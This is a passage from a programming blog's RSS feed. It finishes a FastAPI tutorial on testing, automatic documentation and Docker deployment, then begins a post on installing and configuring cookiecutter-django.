style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install requests pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have them we are going to create a test file called &lt;em&gt;test_api.py&lt;/em&gt; and a &lt;em&gt;init&lt;/em&gt;_.py_ file so that python can access our modules.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch __init__.py test_apy.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In our &lt;em&gt;test_api.py&lt;/em&gt; file we will place the following code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi.testclient &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TestClient&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .main &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;client &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; TestClient(app)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_read_main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;assert&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;assert&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;json() &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see in the code above:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;client.get&lt;/strong&gt;() performs the request to root&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;response.status_code&lt;/strong&gt; contains the response code&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;response.json()&lt;/strong&gt; returns the body of the response in JSON format&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If we run pytest we will see that the corresponding tests are executed to corroborate that each of the previous elements is equal to the expected value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;========&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; session &lt;span style=&#34;color:#ff5c57&#34;&gt;starts&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===========&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;platform linux -- Python 3.7.2, pytest-6.1.1, py-1.9.0, pluggy-0.13.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rootdir: /home/usuario/fastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;collected &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; item&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;test_api.py .  &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;100%&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;========&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; passed in 0.17s &lt;span style=&#34;color:#ff6ac1&#34;&gt;=============&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;documentation-in-fastapi&#34;&gt;Documentation in FastAPI&lt;/h3&gt;&#xA;&lt;p&gt;Up to this point &lt;strong&gt;I have hidden one of the coolest features of FastAPI&lt;/strong&gt; from you, please don&amp;rsquo;t hate me. That&amp;rsquo;s right, you know exactly what I mean: automatic documentation!&lt;/p&gt;&#xA;&lt;p&gt;Yes, as you probably already knew, FastAPI has automatic documentation using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://swagger.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;swagger&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/Redocly/redoc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;redoc&lt;/a&gt;&#xA;, you don&amp;rsquo;t have to add code, nor set a variable for this, just open your browser and go to your &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000/docs/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000/docs/&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000/redoc/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000/redoc/&lt;/a&gt;&#xA;, respectively, and you will see the automatically generated interactive documentation.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Documentacion_swagger.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Documentacion_swagger.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of swagger documentation&#34; width=&#34;1487&#34; height=&#34;239&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;deployment-without-docker&#34;&gt;Deployment without Docker&lt;/h3&gt;&#xA;&lt;p&gt;Deployment is also a simple task to perform.&lt;/p&gt;&#xA;&lt;p&gt;To deploy without using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/&#34;&gt;Docker&lt;/a&gt;&#xA; just run uvicorn, just like we did at the beginning of this tutorial.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uvicorn main:app --host 0.0.0.0 --port &lt;span style=&#34;color:#ff9f43&#34;&gt;80&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;deployment-with-docker&#34;&gt;Deployment with Docker&lt;/h3&gt;&#xA;&lt;p&gt;Deploying with Docker is super simple, the FastAPI creator already provides us with a custom Docker image that we can use as the basis for our Dockerfile. First let&amp;rsquo;s create a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;Dockerfile&lt;/a&gt;&#xA; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to place the following inside:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; tiangolo/uvicorn-gunicorn-fastapi:python3.7&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COPY&lt;/span&gt; . /app&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We tell Docker to copy the entire contents of our current folder to the &lt;em&gt;/app&lt;/em&gt; folder. After the &lt;em&gt;Copy&lt;/em&gt; instruction you can add more code to customize your image.&lt;/p&gt;&#xA;&lt;p&gt;Next we will compile the image.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker build -t fastapi .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When it finishes compiling our image we are going to run a container in the background, on port 80. This container uses gunicorn to serve the content.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name fastapicontainer -p 80:80 fastapi&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The configuration of uvicorn and the use of SSL certificates, either using Cerbot or Traefik or some other option is up to you.&lt;/p&gt;&#xA;&lt;p&gt;This concludes my little FastAPI tutorial. This was only a small introduction with the options that I consider most relevant, please &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://fastapi.tiangolo.com&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;read the official documentation&lt;/a&gt;&#xA; to go deeper into each of the options that FastAPI has available.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;These last few days I have been testing a Python library that is becoming famous, FastAPI, a framework for creating APIs, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA; or RPC APIs. FastAPI promises to help us create fast APIs in a simple way, with very little code and with extraordinary performance, to support high concurrency websites.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fastapi-vs-django-vs-flask-vs-pyramid&#34;&gt;FastAPI vs Django vs Flask vs Pyramid&lt;/h2&gt;&#xA;&lt;p&gt;Is FastAPI really that fast? Yes, at least that&amp;rsquo;s the evidence. FastAPI is in first place in responses per second compared to more popular Frameworks such as Django, Pyramid or Flask. And it is also in the first places if we compare it with Frameworks of other programming languages, such as PHP or Javascript.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Cookiecutter-django for configuring and deploying in Django</title>
      <link>https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/</link>
      <pubDate>Tue, 20 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/</guid>
      
      <category>django</category>
      
      <category>docker</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I wrote the previous entries as an introduction for this week&amp;rsquo;s topic. In this post I&amp;rsquo;m going to explain about a cool tool for Django called cookiecutter-django. This tool for django allows you to generate projects that integrate docker, celery, mailhog, aws, gcp, and many other tools, in an automatic way, just by answering a series of questions.&lt;/p&gt;&#xA;&lt;p&gt;This tool uses docker to simplify the process of developing and deploying a Django application. It was also created by one of the writers of the great book Two scoops of Django, of which I have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;review of Twoo scoops of django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Don&amp;rsquo;t know what Docker is? Visit my post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;containers and Docker&lt;/a&gt;&#xA; in case you don&amp;rsquo;t know how to use it. If you already know how to use Docker, and want to take a look at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/get-to-know-the-basic-docker-compose-commands/&#34;&gt;docker compose&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;If you doubt about whether you should use Django visit my post where I explain some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of this web development framework&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-cookiecutter-django-for&#34;&gt;What is Cookiecutter Django for?&lt;/h2&gt;&#xA;&lt;p&gt;You&amp;rsquo;ve probably ever used a cookie cutter, it&amp;rsquo;s a small mold that you press against the dough to shape a cookie. Using a cookie cutter guarantees that all your cookies will come out nice and uniform. Well, a cookiecutter is exactly that, it&amp;rsquo;s a template that you use to create a project and shape it.&lt;/p&gt;&#xA;&lt;p&gt;There are cookiecutters for many technologies and many people end up programming their own, according to their needs. The one we are going to talk about today is the most popular cookiecutter for Django. This tool provides us with the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A uniform folder arrangement&lt;/li&gt;&#xA;&lt;li&gt;An authentication system&lt;/li&gt;&#xA;&lt;li&gt;CRUD of user accounts&lt;/li&gt;&#xA;&lt;li&gt;Password recovery&lt;/li&gt;&#xA;&lt;li&gt;Hosting configuration for your static files&lt;/li&gt;&#xA;&lt;li&gt;Use of Django Rest Framework&lt;/li&gt;&#xA;&lt;li&gt;Configuration for email services&lt;/li&gt;&#xA;&lt;li&gt;Docker compose files for both development and production ready to be used&lt;/li&gt;&#xA;&lt;li&gt;Integration with Heroku&lt;/li&gt;&#xA;&lt;li&gt;And many other options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Django&amp;rsquo;s cookiecutter gives us a customizable template ready to go, with the most popular libraries saving us the hassle of having to set up a project from scratch.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;install-cookiecutter&#34;&gt;Install cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;Cookiecutter should be available in the repositories of our GNU/Linux system. So we can install it as if it were any other package.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install cookiecutter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or it can also be installed using pip&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install cookiecutter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we have it available we will pass as the only argument the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/pydanny/cookiecutter-django&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;address of the official cookiecutter-django github repository&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cookiecutter https://github.com/pydanny/cookiecutter-django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;project-configuration&#34;&gt;Project configuration&lt;/h3&gt;&#xA;&lt;p&gt;Next, a script will ask us a series of questions to configure the project almost automatically. Each question has a default value that is inside square brackets, if we do not specify any, it will use that value.&lt;/p&gt;&#xA;&lt;p&gt;In the code snippets I place the answers I chose for this example or an empty space for the default value.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;project-data&#34;&gt;Project data&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;My Awesome Project&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: DjangoProject&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;description &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Behold My Awesome Project!&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: this is a &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; project&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;author_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Daniel Roy Greenfeld&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: Eduardo Zepeda&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;domain_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;example.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: mydomain.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;email &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;eduardo-zepeda@example.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version &lt;span 